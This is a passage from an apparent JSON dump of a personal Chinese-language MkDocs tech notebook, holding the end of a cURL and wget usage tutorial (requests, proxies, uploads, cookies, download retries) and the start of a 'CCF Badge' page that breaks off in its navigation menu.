Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    模拟浏览器请求\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    基本教程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    还可以循环哟\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget0bs\" class=\"md-nav__link\">\n    wget在0b/s时自动重连\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget\" class=\"md-nav__link\">\n    wget限制单文件最大大小\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"curl\">cURL<a class=\"headerlink\" href=\"#curl\" title=\"Permanent link\">&para;</a></h1>\n<p>curl这么有用的东西，还是单独开个文档咯~</p>\n<p><img alt=\"cURL\" src=\"https://curl.haxx.se/logo/curl-logo.svg\" /></p>\n<blockquote>\n<p>大名鼎鼎的cURL，不必多言；只是它的命令行的运行方式与libcurl用起来差异很大（如比较php的curl用法）</p>\n<p>官方：https://curl.haxx.se/</p>\n<p>简单入门：http://www.bathome.net/thread-1761-1-1.html</p>\n<p><strong>将curl转为python requests</strong> http://curl.trillworks.com/</p>\n</blockquote>\n<p><a href=\"https://d.py3.io/curl.exe\">下载7.51 x64的Win版本</a></p>\n<p><a href=\"https://d.py3.io/curl32.exe\">下载7.16 32bit的curl32.exe</a></p>\n<hr />\n<h2 id=\"_1\">模拟浏览器请求<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>用Chrome开发人员工具，对请求右键，Copy as cURL就好啦</p>\n<p>其中如果选择了cmd的版本，是不能用于写bat的，我的做法是复制成bash的版本用python循环之</p>\n<hr />\n<h2 id=\"_2\">基本教程<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>REM<span class=\"w\"> </span>在bat中REM命令表示注释行\n\nREM<span class=\"w\"> </span>简单的get一下\ncurl<span class=\"w\"> </span>http://ip.cn\n\nREM<span class=\"w\"> </span>保存到文件并断点续传（可以不指定文件名-O）\ncurl<span class=\"w\"> </span>-o<span class=\"w\"> </span>iplist.txt<span class=\"w\"> </span>-c<span class=\"w\">  </span>http://f.ip.cn/rt/chnroutes.txt\n\nREM<span class=\"w\"> </span>POST请求，设置Referer，并使用代理\ncurl<span class=\"w\"> </span>http://httpbin.org/post<span class=\"w\"> </span>--data<span class=\"w\"> </span>&quot;something=somedata&quot;<span class=\"w\"> </span>-H<span class=\"w\"> </span>&quot;Referer:<span class=\"w\"> </span>http://github.com/zjuchenyuan/&quot;<span class=\"w\"> </span>--proxy<span class=\"w\"> </span>socks5://127.0.0.1:1080\n\nREM<span class=\"w\"> </span>文件上传<span class=\"w\"> </span>@文件名\nREM<span class=\"w\"> </span>POST模式下的文件上的文件上传，比如\nREM<span class=\"w\"> </span><span class=\"nt\">&lt;form</span><span class=\"w\"> </span><span class=\"na\">method=</span><span class=\"s\">&quot;POST&quot;</span><span class=\"w\"> </span><span class=\"na\">enctype=</span><span class=\"s\">&quot;multipart/form-data&quot;</span><span class=\"w\"> </span><span class=\"na\">action=</span><span class=\"s\">&quot;http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi&quot;</span><span class=\"nt\">&gt;</span>\nREM<span class=\"w\"> </span><span class=\"nt\">&lt;input</span><span class=\"w\"> </span><span class=\"na\">type=</span><span class=\"s\">file</span><span class=\"w\"> </span><span class=\"na\">name=</span><span class=\"s\">upload</span><span class=\"nt\">&gt;</span>\nREM<span class=\"w\"> </span><span class=\"nt\">&lt;input</span><span class=\"w\"> </span><span class=\"na\">type=</span><span class=\"s\">submit</span><span class=\"w\"> </span><span class=\"na\">name=</span><span class=\"s\">nick</span><span class=\"w\"> </span><span class=\"na\">value=</span><span class=\"s\">&quot;go&quot;</span><span class=\"nt\">&gt;</span>\nREM<span class=\"w\"> </span><span class=\"nt\">&lt;/form&gt;</span>\nREM<span class=\"w\"> </span>这样一个HTTP表单，我们要用curl进行模拟，就该是这样的语法：\ncurl<span class=\"w\"> </span>-F<span class=\"w\"> </span>upload=@localfile<span class=\"w\"> </span>-F<span class=\"w\"> </span>nick=go<span class=\"w\"> </span>http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi\n\nREM<span class=\"w\"> </span>登录路由器\ncurl<span class=\"w\"> </span>http://192.168.1.1<span class=\"w\"> </span>-u<span class=\"w\"> </span>admin:admin\n\nREM<span class=\"w\"> </span>存下Set-Cookie\ncurl<span class=\"w\"> </span>-D<span class=\"w\"> </span>cookie0001.txt<span class=\"w\"> </span>http://www.yahoo.com\n\nREM<span class=\"w\"> </span>使用存储的Cookie\ncurl<span class=\"w\"> </span>-b<span class=\"w\"> </span>cookie0001.txt<span class=\"w\"> </span>http://www.yahoo.com\n\nREM<span class=\"w\"> </span>dict协议查字典，显示详细的请求信息\ncurl<span class=\"w\"> </span>dict://www.dict.org/d:computer<span class=\"w\"> </span>-v\n</code></pre></div>\n\n<hr />\n<h2 id=\"_3\">还可以循环哟<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>curl -OJ http://example.com/[1-100].jpg</p>\n<p>curl -o &ldquo;#1.html&rdquo; http://www.example.com/page/[1-20]</p>\n<hr />\n<h2 id=\"wget0bs\">wget在0b/s时自动重连<a class=\"headerlink\" href=\"#wget0bs\" title=\"Permanent link\">&para;</a></h2>\n<p>From: https://askubuntu.com/questions/72663/how-to-make-wget-retry-download-if-speed-goes-below-certain-threshold</p>\n<p>用法：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"c1\">--tries=0 --read-timeout=20 [URL]</span>\n</code></pre></div>\n\n<p>其中-c表示断点续传，&ndash;tries=0表示无限次重试，&ndash;read-timeout指定20s无网络活动就认为出错(默认是15分钟)</p>\n<hr />\n<h2 id=\"wget\">wget限制单文件最大大小<a class=\"headerlink\" href=\"#wget\" title=\"Permanent link\">&para;</a></h2>\n<p>来源： https://yurichev.com/wget.html</p>\n<p>可以下载到<a href=\"https://yurichev.com/non-wiki-files/wget-1.18-limitsize/wget-1.18-limitsize-linux64.tar.bz2\">二进制</a>直接用</p>\n<p>增加了<code>--limit-size</code>参数，比如批量下载一个ftp链接：</p>\n<div class=\"codehilite\"><pre><span></span><code>wget --limit-size=10g --restrict-file-names=nocontrol -nH --tries=0 --read-timeout=20 -m ftp://xxx \n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/ccfbadge/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../zjugrshelper/\">\n      \n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>CCF Badge - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#ccf-badge\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              CCF Badge\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        